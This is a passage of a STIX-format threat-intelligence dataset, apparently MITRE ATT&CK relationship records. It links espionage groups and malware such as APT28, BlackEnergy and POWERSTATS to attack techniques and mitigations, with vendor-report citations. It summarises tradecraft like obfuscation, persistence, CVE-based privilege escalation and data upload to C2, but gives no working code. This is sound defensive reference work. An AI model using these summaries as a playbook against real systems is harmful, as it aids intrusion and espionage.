            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.292Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b0d10c67-94bf-4bb3-8122-6f4d9e8106c1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "type": "relationship",
            "modified": "2020-12-11T17:00:01.107Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) can take screenshots.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                },
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.488Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3adf2672-d3d5-47aa-8eea-f223f6227677",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a3e12b04-8598-4909-8855-2c97c1e7d549",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0",
            "type": "relationship",
            "modified": "2020-02-11T20:35:32.259Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--60069193-4573-420f-9b2e-e9a42b95af12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) regained access after eviction via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.126Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DownPaper](https://attack.mitre.org/software/S0186) communicates to its C2 server over HTTP.(Citation: ClearSky Charming Kitten Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:54:56.924Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--86ebda8c-df0c-4d76-970b-27bf392606a7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) performs thread execution hijacking to inject its orchestrator into a running thread from a remote process.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
            "type": "relationship",
            "modified": "2020-03-17T11:56:53.447Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--9e90e4a5-844c-4516-9044-6f35bbf27806",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed a bootkit along with [Downdelph](https://attack.mitre.org/software/S0134) to ensure its persistence on the victim. The bootkit shares code with some variants of [BlackEnergy](https://attack.mitre.org/software/S0089).(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 3"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.005Z",
            "created": "2017-05-31T21:33:27.039Z"
        },
        {
            "id": "relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.613Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1f06f614-8f5a-4666-9fa5-fcda1535f97d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has deleted files and directories including XML and files successfully uploaded to C2 servers.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-07-17T20:31:44.965Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect active network connections by running <code>netstat -an</code> on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.973Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e8cb4430-db05-4029-b011-926a2ba17a4c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) looked for a specific process running on infected servers.(Citation: Kaspersky Winnti April 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/winnti-more-than-just-a-game/37029/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "source_name": "Kaspersky Winnti April 2013"
                }
            ],
            "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-03-25T17:15:03.477Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
            "id": "relationship--2851e8fa-0622-42db-b7b7-4e051fc5fbeb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.284Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6a04ef8a-9521-4212-92be-85e092b82e24",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.514Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "relationship_type": "uses",
            "target_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
            "external_references": [
                {
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
            "description": "(Citation: CrowdStrike Putter Panda)",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.839Z",
            "created": "2017-05-31T21:33:27.059Z"
        },
        {
            "id": "relationship--202b96f6-0f7c-4aed-8004-780f1d880059",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of manipulating the Registry.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-19T19:56:10.611Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.(Citation: US-CERT FALLCHILL Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT FALLCHILL Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
                }
            ],
            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-27T20:45:20.253Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--cf237fa7-165c-463a-90bb-aa6e20de5249",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Port Numbers 443, 8443, and 8080 for C2 communications.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "type": "relationship",
            "modified": "2019-01-30T13:42:09.719Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--baf31b81-e175-49e3-b2d9-d7552ea902a1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses character replacement, [PowerShell](https://attack.mitre.org/techniques/T1059/001) environment variables, and XOR encoding to obfuscate code. [POWERSTATS](https://attack.mitre.org/software/S0223)'s backdoor code is a multi-layer obfuscated, encoded, and compressed blob. (Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018) [POWERSTATS](https://attack.mitre.org/software/S0223) has used PowerShell code with custom string obfuscation (Citation: TrendMicro POWERSTATS V3 June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-05-18T19:37:52.431Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--658fcd28-934d-4077-b93e-89af9512de5f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can encrypt payloads using XOR. [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware is also obfuscated using Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                },
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                },
                {
                    "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
                    "source_name": "Unit42 Emissary Panda May 2019"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.795Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)(Citation: Securelist Sofacy Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                },
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "source_name": "Securelist Sofacy Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2019-12-20T14:26:01.157Z",
            "created": "2017-05-31T21:33:27.039Z"
        },
        {
            "id": "relationship--bad90106-a150-4d76-b39f-f35aab4ac766",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) has functionality to remove Registry Run key persistence as a cleanup procedure.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.789Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "description": "(Citation: Dell TG-1314)",
            "type": "relationship",
            "modified": "2019-03-25T17:01:21.308Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--2121683c-ab01-4212-b2d2-af290dd8ed17",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) communicates with its C2 server over HTTP.(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:35:07.141Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016) [FIN8](https://attack.mitre.org/groups/G0061) executes commands remotely via cmd.exe.(Citation: FireEye Obfuscation June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                },
                {
                    "source_name": "FireEye Obfuscation June 2017",
